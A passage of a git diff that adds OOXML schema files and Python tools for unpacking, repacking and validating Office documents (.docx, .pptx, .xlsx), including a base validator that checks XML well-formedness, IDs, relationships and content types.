type="CT_CommentExtensible" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="extLst" type="w16:CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CommentExtensible"> + <xsd:sequence> + <xsd:element name="extLst" type="w16:CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="durableId" type="w:ST_LongHexNumber" use="required"/> + <xsd:attribute name="dateUtc" type="w:ST_DateTime" use="optional"/> + <xsd:attribute name="intelligentPlaceholder" type="s:ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:element name="commentsExtensible" type="CT_CommentsExtensible"/> + </xsd:schema> diff --git a/skills/pptx/ooxml/schemas/microsoft/wml-cid-2016.xsd b/skills/pptx/ooxml/schemas/microsoft/wml-cid-2016.xsd new file mode 100644 index 00000000..fed9d15b --- /dev/null +++ b/skills/pptx/ooxml/schemas/microsoft/wml-cid-2016.xsd @@ -0,0 +1,13 @@ + <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.microsoft.com/office/word/2016/wordml/cid" targetNamespace="http://schemas.microsoft.com/office/word/2016/wordml/cid"> + <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> + <xsd:complexType name="CT_CommentsIds"> + <xsd:sequence> + <xsd:element name="commentId" type="CT_CommentId" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CommentId"> + <xsd:attribute name="paraId" type="w12:ST_LongHexNumber" use="required"/> + <xsd:attribute name="durableId" type="w12:ST_LongHexNumber" use="required"/> + </xsd:complexType> + <xsd:element name="commentsIds" type="CT_CommentsIds"/> + </xsd:schema> diff --git a/skills/pptx/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd b/skills/pptx/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd new file mode 100644 index 00000000..680cf154 --- /dev/null +++ b/skills/pptx/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd @@ -0,0 +1,4 @@ + <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahash" targetNamespace="http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahash"> + <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> + <xsd:attribute name="storeItemChecksum" type="w12:ST_String"/> + </xsd:schema> diff --git a/skills/pptx/ooxml/schemas/microsoft/wml-symex-2015.xsd b/skills/pptx/ooxml/schemas/microsoft/wml-symex-2015.xsd new file mode 100644 index 00000000..89ada908 --- /dev/null +++ b/skills/pptx/ooxml/schemas/microsoft/wml-symex-2015.xsd @@ -0,0 +1,8 @@ + <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.microsoft.com/office/word/2015/wordml/symex" targetNamespace="http://schemas.microsoft.com/office/word/2015/wordml/symex"> + <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> + <xsd:complexType name="CT_SymEx"> + <xsd:attribute name="font" type="w12:ST_String"/> + <xsd:attribute name="char" type="w12:ST_LongHexNumber"/> + </xsd:complexType> + <xsd:element name="symEx" type="CT_SymEx"/> + </xsd:schema> diff --git a/skills/pptx/ooxml/scripts/pack.py b/skills/pptx/ooxml/scripts/pack.py new file mode 100755 index 00000000..68bc0886 --- /dev/null +++ b/skills/pptx/ooxml/scripts/pack.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 +""" +Tool to pack a directory into a .docx, .pptx, or .xlsx file with XML formatting undone. + +Example usage: + python pack.py <input_directory> <office_file> [--force] +""" + +import argparse +import shutil +import subprocess +import sys +import tempfile +import defusedxml.minidom +import zipfile +from pathlib import Path + + +def main(): + parser = argparse.ArgumentParser(description="Pack a directory into an Office file") + parser.add_argument("input_directory", help="Unpacked Office document directory") + parser.add_argument("output_file", help="Output Office file (.docx/.pptx/.xlsx)") + parser.add_argument("--force", action="store_true", help="Skip validation") + args = parser.parse_args() + + try: + success = pack_document( + args.input_directory, args.output_file, validate=not args.force + ) + + # Show warning if validation was skipped + if args.force: + print("Warning: Skipped validation, file may be corrupt", file=sys.stderr) + # Exit with error if validation failed + elif not success: + print("Contents would produce a corrupt file.", file=sys.stderr) + print("Please validate XML before repacking.", file=sys.stderr) + print("Use --force to skip validation and pack anyway.", file=sys.stderr) + sys.exit(1) + + except ValueError as e: + sys.exit(f"Error: {e}") + + +def pack_document(input_dir, output_file, validate=False): + """Pack a directory into an Office file (.docx/.pptx/.xlsx). + + Args: + input_dir: Path to unpacked Office document directory + output_file: Path to output Office file + validate: If True, validates with soffice (default: False) + + Returns: + bool: True if successful, False if validation failed + """ + input_dir = Path(input_dir) + output_file = Path(output_file) + + if not input_dir.is_dir(): + raise ValueError(f"{input_dir} is not a directory") + if output_file.suffix.lower() not in {".docx", ".pptx", ".xlsx"}: + raise ValueError(f"{output_file} must be a .docx, .pptx, or .xlsx file") + + # Work in temporary directory to avoid modifying original + with tempfile.TemporaryDirectory() as temp_dir: + temp_content_dir = Path(temp_dir) / "content" + shutil.copytree(input_dir, temp_content_dir) + + # Process XML files to remove pretty-printing whitespace + for pattern in ["*.xml", "*.rels"]: + for xml_file in temp_content_dir.rglob(pattern): + condense_xml(xml_file) + + # Create final Office file as zip archive + output_file.parent.mkdir(parents=True, exist_ok=True) + with zipfile.ZipFile(output_file, "w", zipfile.ZIP_DEFLATED) as zf: + for f in temp_content_dir.rglob("*"): + if f.is_file(): + zf.write(f, f.relative_to(temp_content_dir)) + + # Validate if requested + if validate: + if not validate_document(output_file): + output_file.unlink() # Delete the corrupt file + return False + + return True + + +def validate_document(doc_path): + """Validate document by converting to HTML with soffice.""" + # Determine the correct filter based on file extension + match doc_path.suffix.lower(): + case ".docx": + filter_name = "html:HTML" + case ".pptx": + filter_name = "html:impress_html_Export" + case ".xlsx": + filter_name = "html:HTML (StarCalc)" + + with tempfile.TemporaryDirectory() as temp_dir: + try: + result = subprocess.run( + [ + "soffice", + "--headless", + "--convert-to", + filter_name, + "--outdir", + temp_dir, + str(doc_path), + ], + capture_output=True, + timeout=10, + text=True, + ) + if not (Path(temp_dir) / f"{doc_path.stem}.html").exists(): + error_msg = result.stderr.strip() or "Document validation failed" + print(f"Validation error: {error_msg}", file=sys.stderr) + return False + return True + except FileNotFoundError: + print("Warning: soffice not found. Skipping validation.", file=sys.stderr) + return True + except subprocess.TimeoutExpired: + print("Validation error: Timeout during conversion", file=sys.stderr) + return False + except Exception as e: + print(f"Validation error: {e}", file=sys.stderr) + return False + + +def condense_xml(xml_file): + """Strip unnecessary whitespace and remove comments.""" + with open(xml_file, "r", encoding="utf-8") as f: + dom = defusedxml.minidom.parse(f) + + # Process each element to remove whitespace and comments + for element in dom.getElementsByTagName("*"): + # Skip w:t elements and their processing + if element.tagName.endswith(":t"): + continue + + # Remove whitespace-only text nodes and comment nodes + for child in list(element.childNodes): + if ( + child.nodeType == child.TEXT_NODE + and child.nodeValue + and child.nodeValue.strip() == "" + ) or child.nodeType == child.COMMENT_NODE: + element.removeChild(child) + + # Write back the condensed XML + with open(xml_file, "wb") as f: + f.write(dom.toxml(encoding="UTF-8")) + + +if __name__ == "__main__": + main() diff --git a/skills/pptx/ooxml/scripts/unpack.py b/skills/pptx/ooxml/scripts/unpack.py new file mode 100755 index 00000000..49387988 --- /dev/null +++ b/skills/pptx/ooxml/scripts/unpack.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python3 +"""Unpack and format XML contents of Office files (.docx, .pptx, .xlsx)""" + +import random +import sys +import defusedxml.minidom +import zipfile +from pathlib import Path + +# Get command line arguments +assert len(sys.argv) == 3, "Usage: python unpack.py <office_file> <output_dir>" +input_file, output_dir = sys.argv[1], sys.argv[2] + +# Extract and format +output_path = Path(output_dir) +output_path.mkdir(parents=True, exist_ok=True) +zipfile.ZipFile(input_file).extractall(output_path) + +# Pretty print all XML files +xml_files = list(output_path.rglob("*.xml")) + list(output_path.rglob("*.rels")) +for xml_file in xml_files: + content = xml_file.read_text(encoding="utf-8") + dom = defusedxml.minidom.parseString(content) + xml_file.write_bytes(dom.toprettyxml(indent=" ", encoding="ascii")) + +# For .docx files, suggest an RSID for tracked changes +if input_file.endswith(".docx"): + suggested_rsid = "".join(random.choices("0123456789ABCDEF", k=8)) + print(f"Suggested RSID for edit session: {suggested_rsid}") diff --git a/skills/pptx/ooxml/scripts/validate.py b/skills/pptx/ooxml/scripts/validate.py new file mode 100755 index 00000000..508c5891 --- /dev/null +++ b/skills/pptx/ooxml/scripts/validate.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python3 +""" +Command line tool to validate Office document XML files against XSD schemas and tracked changes. + +Usage: + python validate.py <dir> --original <original_file> +""" + +import argparse +import sys +from pathlib import Path + +from validation import DOCXSchemaValidator, PPTXSchemaValidator, RedliningValidator + + +def main(): + parser = argparse.ArgumentParser(description="Validate Office document XML files") + parser.add_argument( + "unpacked_dir", + help="Path to unpacked Office document directory", + ) + parser.add_argument( + "--original", + required=True, + help="Path to original file (.docx/.pptx/.xlsx)", + ) + parser.add_argument( + "-v", + "--verbose", + action="store_true", + help="Enable verbose output", + ) + args = parser.parse_args() + + # Validate paths + unpacked_dir = Path(args.unpacked_dir) + original_file = Path(args.original) + file_extension = original_file.suffix.lower() + assert unpacked_dir.is_dir(), f"Error: {unpacked_dir} is not a directory" + assert original_file.is_file(), f"Error: {original_file} is not a file" + assert file_extension in [".docx", ".pptx", ".xlsx"], ( + f"Error: {original_file} must be a .docx, .pptx, or .xlsx file" + ) + + # Run validations + match file_extension: + case ".docx": + validators = [DOCXSchemaValidator, RedliningValidator] + case ".pptx": + validators = [PPTXSchemaValidator] + case _: + print(f"Error: Validation not supported for file type {file_extension}") + sys.exit(1) + + # Run validators + success = True + for V in validators: + validator = V(unpacked_dir, original_file, verbose=args.verbose) + if not validator.validate(): + success = False + + if success: + print("All validations PASSED!") + + sys.exit(0 if success else 1) + + +if __name__ == "__main__": + main() diff --git a/skills/pptx/ooxml/scripts/validation/__init__.py b/skills/pptx/ooxml/scripts/validation/__init__.py new file mode 100644 index 00000000..db092ece --- /dev/null +++ b/skills/pptx/ooxml/scripts/validation/__init__.py @@ -0,0 +1,15 @@ +""" +Validation modules for Word document processing. +""" + +from .base import BaseSchemaValidator +from .docx import DOCXSchemaValidator +from .pptx import PPTXSchemaValidator +from .redlining import RedliningValidator + +__all__ = [ + "BaseSchemaValidator", + "DOCXSchemaValidator", + "PPTXSchemaValidator", + "RedliningValidator", +] diff --git a/skills/pptx/ooxml/scripts/validation/base.py b/skills/pptx/ooxml/scripts/validation/base.py new file mode 100644 index 00000000..0681b199 --- /dev/null +++ b/skills/pptx/ooxml/scripts/validation/base.py @@ -0,0 +1,951 @@ +""" +Base validator with common validation logic for document files. +""" + +import re +from pathlib import Path + +import lxml.etree + + +class BaseSchemaValidator: + """Base validator with common validation logic for document files.""" + + # Elements whose 'id' attributes must be unique within their file + # Format: element_name -> (attribute_name, scope) + # scope can be 'file' (unique within file) or 'global' (unique across all files) + UNIQUE_ID_REQUIREMENTS = { + # Word elements + "comment": ("id", "file"), # Comment IDs in comments.xml + "commentrangestart": ("id", "file"), # Must match comment IDs + "commentrangeend": ("id", "file"), # Must match comment IDs + "bookmarkstart": ("id", "file"), # Bookmark start IDs + "bookmarkend": ("id", "file"), # Bookmark end IDs + # Note: ins and del (track changes) can share IDs when part of same revision + # PowerPoint elements + "sldid": ("id", "file"), # Slide IDs in presentation.xml + "sldmasterid": ("id", "global"), # Slide master IDs must be globally unique + "sldlayoutid": ("id", "global"), # Slide layout IDs must be globally unique + "cm": ("authorid", "file"), # Comment author IDs + # Excel elements + "sheet": ("sheetid", "file"), # Sheet IDs in workbook.xml + "definedname": ("id", "file"), # Named range IDs + # Drawing/Shape elements (all formats) + "cxnsp": ("id", "file"), # Connection shape IDs + "sp": ("id", "file"), # Shape IDs + "pic": ("id", "file"), # Picture IDs + "grpsp": ("id", "file"), # Group shape IDs + } + + # Mapping of element names to expected relationship types + # Subclasses should override this with format-specific mappings + ELEMENT_RELATIONSHIP_TYPES = {} + + # Unified schema mappings for all Office document types + SCHEMA_MAPPINGS = { + # Document type specific schemas + "word": "ISO-IEC29500-4_2016/wml.xsd", # Word documents + "ppt": "ISO-IEC29500-4_2016/pml.xsd", # PowerPoint presentations + "xl": "ISO-IEC29500-4_2016/sml.xsd", # Excel spreadsheets + # Common file types + "[Content_Types].xml": "ecma/fouth-edition/opc-contentTypes.xsd", + "app.xml": "ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd", + "core.xml": "ecma/fouth-edition/opc-coreProperties.xsd", + "custom.xml": "ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd", + ".rels": "ecma/fouth-edition/opc-relationships.xsd", + # Word-specific files + "people.xml": "microsoft/wml-2012.xsd", + "commentsIds.xml": "microsoft/wml-cid-2016.xsd", + "commentsExtensible.xml": "microsoft/wml-cex-2018.xsd", + "commentsExtended.xml": "microsoft/wml-2012.xsd", + # Chart files (common across document types) + "chart": "ISO-IEC29500-4_2016/dml-chart.xsd", + # Theme files (common across document types) + "theme": "ISO-IEC29500-4_2016/dml-main.xsd", + # Drawing and media files + "drawing": "ISO-IEC29500-4_2016/dml-main.xsd", + } + + # Unified namespace constants + MC_NAMESPACE = "http://schemas.openxmlformats.org/markup-compatibility/2006" + XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace" + + # Common OOXML namespaces used across validators + PACKAGE_RELATIONSHIPS_NAMESPACE = ( + "http://schemas.openxmlformats.org/package/2006/relationships" + ) + OFFICE_RELATIONSHIPS_NAMESPACE = ( + "http://schemas.openxmlformats.org/officeDocument/2006/relationships" + ) + CONTENT_TYPES_NAMESPACE = ( + "http://schemas.openxmlformats.org/package/2006/content-types" + ) + + # Folders where we should clean ignorable namespaces + MAIN_CONTENT_FOLDERS = {"word", "ppt", "xl"} + + # All allowed OOXML namespaces (superset of all document types) + OOXML_NAMESPACES = { + "http://schemas.openxmlformats.org/officeDocument/2006/math", + "http://schemas.openxmlformats.org/officeDocument/2006/relationships", + "http://schemas.openxmlformats.org/schemaLibrary/2006/main", + "http://schemas.openxmlformats.org/drawingml/2006/main", + "http://schemas.openxmlformats.org/drawingml/2006/chart", + "http://schemas.openxmlformats.org/drawingml/2006/chartDrawing", + "http://schemas.openxmlformats.org/drawingml/2006/diagram", + "http://schemas.openxmlformats.org/drawingml/2006/picture", + "http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing", + "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing", + "http://schemas.openxmlformats.org/wordprocessingml/2006/main", + "http://schemas.openxmlformats.org/presentationml/2006/main", + "http://schemas.openxmlformats.org/spreadsheetml/2006/main", + "http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes", + "http://www.w3.org/XML/1998/namespace", + } + + def __init__(self, unpacked_dir, original_file, verbose=False): + self.unpacked_dir = Path(unpacked_dir).resolve() + self.original_file = Path(original_file) + self.verbose = verbose + + # Set schemas directory + self.schemas_dir = Path(__file__).parent.parent.parent / "schemas" + + # Get all XML and .rels files + patterns = ["*.xml", "*.rels"] + self.xml_files = [ + f for pattern in patterns for f in self.unpacked_dir.rglob(pattern) + ] + + if not self.xml_files: + print(f"Warning: No XML files found in {self.unpacked_dir}") + + def validate(self): + """Run all validation checks and return True if all pass.""" + raise NotImplementedError("Subclasses must implement the validate method") + + def validate_xml(self): + """Validate that all XML files are well-formed.""" + errors = [] + + for xml_file in self.xml_files: + try: + # Try to parse the XML file + lxml.etree.parse(str(xml_file)) + except lxml.etree.XMLSyntaxError as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {e.lineno}: {e.msg}" + ) + except Exception as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Unexpected error: {str(e)}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} XML violations:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - All XML files are well-formed") + return True + + def validate_namespaces(self): + """Validate that namespace prefixes in Ignorable attributes are declared.""" + errors = [] + + for xml_file in self.xml_files: + try: + root = lxml.etree.parse(str(xml_file)).getroot() + declared = set(root.nsmap.keys()) - {None} # Exclude default namespace + + for attr_val in [ + v for k, v in root.attrib.items() if k.endswith("Ignorable") + ]: + undeclared = set(attr_val.split()) - declared + errors.extend( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Namespace '{ns}' in Ignorable but not declared" + for ns in undeclared + ) + except lxml.etree.XMLSyntaxError: + continue + + if errors: + print(f"FAILED - {len(errors)} namespace issues:") + for error in errors: + print(error) + return False + if self.verbose: + print("PASSED - All namespace prefixes properly declared") + return True + + def validate_unique_ids(self): + """Validate that specific IDs are unique according to OOXML requirements.""" + errors = [] + global_ids = {} # Track globally unique IDs across all files + + for xml_file in self.xml_files: + try: + root = lxml.etree.parse(str(xml_file)).getroot() + file_ids = {} # Track IDs that must be unique within this file + + # Remove all mc:AlternateContent elements from the tree + mc_elements = root.xpath( + ".//mc:AlternateContent", namespaces={"mc": self.MC_NAMESPACE} + ) + for elem in mc_elements: + elem.getparent().remove(elem) + + # Now check IDs in the cleaned tree + for elem in root.iter(): + # Get the element name without namespace + tag = ( + elem.tag.split("}")[-1].lower() + if "}" in elem.tag + else elem.tag.lower() + ) + + # Check if this element type has ID uniqueness requirements + if tag in self.UNIQUE_ID_REQUIREMENTS: + attr_name, scope = self.UNIQUE_ID_REQUIREMENTS[tag] + + # Look for the specified attribute + id_value = None + for attr, value in elem.attrib.items(): + attr_local = ( + attr.split("}")[-1].lower() + if "}" in attr + else attr.lower() + ) + if attr_local == attr_name: + id_value = value + break + + if id_value is not None: + if scope == "global": + # Check global uniqueness + if id_value in global_ids: + prev_file, prev_line, prev_tag = global_ids[ + id_value + ] + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {elem.sourceline}: Global ID '{id_value}' in <{tag}> " + f"already used in {prev_file} at line {prev_line} in <{prev_tag}>" + ) + else: + global_ids[id_value] = ( + xml_file.relative_to(self.unpacked_dir), + elem.sourceline, + tag, + ) + elif scope == "file": + # Check file-level uniqueness + key = (tag, attr_name) + if key not in file_ids: + file_ids[key] = {} + + if id_value in file_ids[key]: + prev_line = file_ids[key][id_value] + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {elem.sourceline}: Duplicate {attr_name}='{id_value}' in <{tag}> " + f"(first occurrence at line {prev_line})" + ) + else: + file_ids[key][id_value] = elem.sourceline + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} ID uniqueness violations:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - All required IDs are unique") + return True + + def validate_file_references(self): + """ + Validate that all .rels files properly reference files and that all files are referenced. + """ + errors = [] + + # Find all .rels files + rels_files = list(self.unpacked_dir.rglob("*.rels")) + + if not rels_files: + if self.verbose: + print("PASSED - No .rels files found") + return True + + # Get all files in the unpacked directory (excluding reference files) + all_files = [] + for file_path in self.unpacked_dir.rglob("*"): + if ( + file_path.is_file() + and file_path.name != "[Content_Types].xml" + and not file_path.name.endswith(".rels") + ): # This file is not referenced by .rels + all_files.append(file_path.resolve()) + + # Track all files that are referenced by any .rels file + all_referenced_files = set() + + if self.verbose: + print( + f"Found {len(rels_files)} .rels files and {len(all_files)} target files" + ) + + # Check each .rels file + for rels_file in rels_files: + try: + # Parse relationships file + rels_root = lxml.etree.parse(str(rels_file)).getroot() + + # Get the directory where this .rels file is located + rels_dir = rels_file.parent + + # Find all relationships and their targets + referenced_files = set() + broken_refs = [] + + for rel in rels_root.findall( + ".//ns:Relationship", + namespaces={"ns": self.PACKAGE_RELATIONSHIPS_NAMESPACE}, + ): + target = rel.get("Target") + if target and not target.startswith( + ("http", "mailto:") + ): # Skip external URLs + # Resolve the target path relative to the .rels file location + if rels_file.name == ".rels": + # Root .rels file - targets are relative to unpacked_dir + target_path = self.unpacked_dir / target + else: + # Other .rels files - targets are relative to their parent's parent + # e.g., word/_rels/document.xml.rels -> targets relative to word/ + base_dir = rels_dir.parent + target_path = base_dir / target + + # Normalize the path and check if it exists + try: + target_path = target_path.resolve() + if target_path.exists() and target_path.is_file(): + referenced_files.add(target_path) + all_referenced_files.add(target_path) + else: + broken_refs.append((target, rel.sourceline)) + except (OSError, ValueError): + broken_refs.append((target, rel.sourceline)) + + # Report broken references + if broken_refs: + rel_path = rels_file.relative_to(self.unpacked_dir) + for broken_ref, line_num in broken_refs: + errors.append( + f" {rel_path}: Line {line_num}: Broken reference to {broken_ref}" + ) + + except Exception as e: + rel_path = rels_file.relative_to(self.unpacked_dir) + errors.append(f" Error parsing {rel_path}: {e}") + + # Check for unreferenced files (files that exist but are not referenced anywhere) + unreferenced_files = set(all_files) - all_referenced_files + + if unreferenced_files: + for unref_file in sorted(unreferenced_files): + unref_rel_path = unref_file.relative_to(self.unpacked_dir) + errors.append(f" Unreferenced file: {unref_rel_path}") + + if errors: + print(f"FAILED - Found {len(errors)} relationship validation errors:") + for error in errors: + print(error) + print( + "CRITICAL: These errors will cause the document to appear corrupt. " + + "Broken references MUST be fixed, " + + "and unreferenced files MUST be referenced or removed." + ) + return False + else: + if self.verbose: + print( + "PASSED - All references are valid and all files are properly referenced" + ) + return True + + def validate_all_relationship_ids(self): + """ + Validate that all r:id attributes in XML files reference existing IDs + in their corresponding .rels files, and optionally validate relationship types. + """ + import lxml.etree + + errors = [] + + # Process each XML file that might contain r:id references + for xml_file in self.xml_files: + # Skip .rels files themselves + if xml_file.suffix == ".rels": + continue + + # Determine the corresponding .rels file + # For dir/file.xml, it's dir/_rels/file.xml.rels + rels_dir = xml_file.parent / "_rels" + rels_file = rels_dir / f"{xml_file.name}.rels" + + # Skip if there's no corresponding .rels file (that's okay) + if not rels_file.exists(): + continue + + try: + # Parse the .rels file to get valid relationship IDs and their types + rels_root = lxml.etree.parse(str(rels_file)).getroot() + rid_to_type = {} + + for rel in rels_root.findall( + f".//{{{self.PACKAGE_RELATIONSHIPS_NAMESPACE}}}Relationship" + ): + rid = rel.get("Id") + rel_type = rel.get("Type", "") + if rid: + # Check for duplicate rIds + if rid in rid_to_type: + rels_rel_path = rels_file.relative_to(self.unpacked_dir) + errors.append( + f" {rels_rel_path}: Line {rel.sourceline}: " + f"Duplicate relationship ID '{rid}' (IDs must be unique)" + ) + # Extract just the type name from the full URL + type_name = ( + rel_type.split("/")[-1] if "/" in rel_type else rel_type + ) + rid_to_type[rid] = type_name + + # Parse the XML file to find all r:id references + xml_root = lxml.etree.parse(str(xml_file)).getroot() + + # Find all elements with r:id attributes + for elem in xml_root.iter(): + # Check for r:id attribute (relationship ID) + rid_attr = elem.get(f"{{{self.OFFICE_RELATIONSHIPS_NAMESPACE}}}id") + if rid_attr: + xml_rel_path = xml_file.relative_to(self.unpacked_dir) + elem_name = ( + elem.tag.split("}")[-1] if "}" in elem.tag else elem.tag + ) + + # Check if the ID exists + if rid_attr not in rid_to_type: + errors.append( + f" {xml_rel_path}: Line {elem.sourceline}: " + f"<{elem_name}> references non-existent relationship '{rid_attr}' " + f"(valid IDs: {', '.join(sorted(rid_to_type.keys())[:5])}{'...' if len(rid_to_type) > 5 else ''})" + ) + # Check if we have type expectations for this element + elif self.ELEMENT_RELATIONSHIP_TYPES: + expected_type = self._get_expected_relationship_type( + elem_name + ) + if expected_type: + actual_type = rid_to_type[rid_attr] + # Check if the actual type matches or contains the expected type + if expected_type not in actual_type.lower(): + errors.append( + f" {xml_rel_path}: Line {elem.sourceline}: " + f"<{elem_name}> references '{rid_attr}' which points to '{actual_type}' " + f"but should point to a '{expected_type}' relationship" + ) + + except Exception as e: + xml_rel_path = xml_file.relative_to(self.unpacked_dir) + errors.append(f" Error processing {xml_rel_path}: {e}") + + if errors: + print(f"FAILED - Found {len(errors)} relationship ID reference errors:") + for error in errors: + print(error) + print("\nThese ID mismatches will cause the document to appear corrupt!") + return False + else: + if self.verbose: + print("PASSED - All relationship ID references are valid") + return True + + def _get_expected_relationship_type(self, element_name): + """ + Get the expected relationship type for an element. + First checks the explicit mapping, then tries pattern detection. + """ + # Normalize element name to lowercase + elem_lower = element_name.lower() + + # Check explicit mapping first + if elem_lower in self.ELEMENT_RELATIONSHIP_TYPES: + return self.ELEMENT_RELATIONSHIP_TYPES[elem_lower] + + # Try pattern detection for common patterns + # Pattern 1: Elements ending in "Id" often expect a relationship of the prefix type + if elem_lower.endswith("id") and len(elem_lower) > 2: + # e.g., "sldId" -> "sld", "sldMasterId" -> "sldMaster" + prefix = elem_lower[:-2] # Remove "id" + # Check if this might be a compound like "sldMasterId" + if prefix.endswith("master"): + return prefix.lower() + elif prefix.endswith("layout"): + return prefix.lower() + else: + # Simple case like "sldId" -> "slide" + # Common transformations + if prefix == "sld": + return "slide" + return prefix.lower() + + # Pattern 2: Elements ending in "Reference" expect a relationship of the prefix type + if elem_lower.endswith("reference") and len(elem_lower) > 9: + prefix = elem_lower[:-9] # Remove "reference" + return prefix.lower() + + return None + + def validate_content_types(self): + """Validate that all content files are properly declared in [Content_Types].xml.""" + errors = [] + + # Find [Content_Types].xml file + content_types_file = self.unpacked_dir / "[Content_Types].xml" + if not content_types_file.exists(): + print("FAILED - [Content_Types].xml file not found") + return False + + try: + # Parse and get all declared parts and extensions + root = lxml.etree.parse(str(content_types_file)).getroot() + declared_parts = set() + declared_extensions = set() + + # Get Override declarations (specific files) + for override in root.findall( + f".//{{{self.CONTENT_TYPES_NAMESPACE}}}Override" + ): + part_name = override.get("PartName") + if part_name is not None: + declared_parts.add(part_name.lstrip("/")) + + # Get Default declarations (by extension) + for default in root.findall( + f".//{{{self.CONTENT_TYPES_NAMESPACE}}}Default" + ): + extension = default.get("Extension") + if extension is not None: + declared_extensions.add(extension.lower()) + + # Root elements that require content type declaration + declarable_roots = { + "sld", + "sldLayout", + "sldMaster", + "presentation", # PowerPoint + "document", # Word + "workbook", + "worksheet", # Excel + "theme", # Common + } + + # Common media file extensions that should be declared + media_extensions = { + "png": "image/png", + "jpg": "image/jpeg", + "jpeg": "image/jpeg", + "gif": "image/gif", + "bmp": "image/bmp", + "tiff": "image/tiff", + "wmf": "image/x-wmf", + "emf": "image/x-emf", + } + + # Get all files in the unpacked directory + all_files = list(self.unpacked_dir.rglob("*")) + all_files = [f for f in all_files if f.is_file()] + + # Check all XML files for Override declarations + for xml_file in self.xml_files: + path_str = str(xml_file.relative_to(self.unpacked_dir)).replace( + "\\", "/" + ) + + # Skip non-content files + if any( + skip in path_str + for skip in [".rels", "[Content_Types]", "docProps/", "_rels/"] + ): + continue + + try: + root_tag = lxml.etree.parse(str(xml_file)).getroot().tag + root_name = root_tag.split("}")[-1] if "}" in root_tag else root_tag + + if root_name in declarable_roots and path_str not in declared_parts: + errors.append( + f" {path_str}: File with <{root_name}> root not declared in [Content_Types].xml" + ) + + except Exception: + continue # Skip unparseable files + + # Check all non-XML files for Default extension declarations + for file_path in all_files: + # Skip XML files and metadata files (already checked above) + if file_path.suffix.lower() in {".xml", ".rels"}: + continue + if file_path.name == "[Content_Types].xml": + continue + if "_rels" in file_path.parts or "docProps" in file_path.parts: + continue + + extension = file_path.suffix.lstrip(".").lower() + if extension and extension not in declared_extensions: + # Check if it's a known media extension that should be declared + if extension in media_extensions: + relative_path = file_path.relative_to(self.unpacked_dir) + errors.append( + f' {relative_path}: File with extension \'{extension}\' not declared in [Content_Types].xml - should add: <Default Extension="{extension}" ContentType="{media_extensions[extension]}"/>' + ) + + except Exception as e: + errors.append(f" Error parsing [Content_Types].xml: {e}") + + if errors: + print(f"FAILED - Found {len(errors)} content type declaration errors:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print( + "PASSED - All content files are properly declared in [Content_Types].xml" + ) + return True + + def validate_file_against_xsd(self, xml_file, verbose=False): + """Validate a single XML file against XSD schema, comparing with original. + + Args: + xml_file: Path to XML file to validate + verbose: Enable verbose output + + Returns: + tuple: (is_valid, new_errors_set) where is_valid is True/False/None (skipped) + """ + # Resolve both paths to handle symlinks + xml_file = Path(xml_file).resolve() + unpacked_dir = self.unpacked_dir.resolve() + + # Validate current file + is_valid, current_errors = self._validate_single_file_xsd( + xml_file, unpacked_dir + ) + + if is_valid is None: + return None, set() # Skipped + elif is_valid: + return True, set() # Valid, no errors + + # Get errors from original file for this specific file + original_errors = self._get_original_file_errors(xml_file) + + # Compare with original (both are guaranteed to be sets here) + assert current_errors is not None + new_errors = current_errors - original_errors + + if new_errors: + if verbose: + relative_path = xml_file.relative_to(unpacked_dir) + print(f"FAILED - {relative_path}: {len(new_errors)} new error(s)") + for error in list(new_errors)[:3]: + truncated = error[:250] + "..." if len(error) > 250 else error + print(f" - {truncated}") + return False, new_errors + else: + # All errors existed in original + if verbose: + print( + f"PASSED - No new errors (original had {len(current_errors)} errors)" + ) 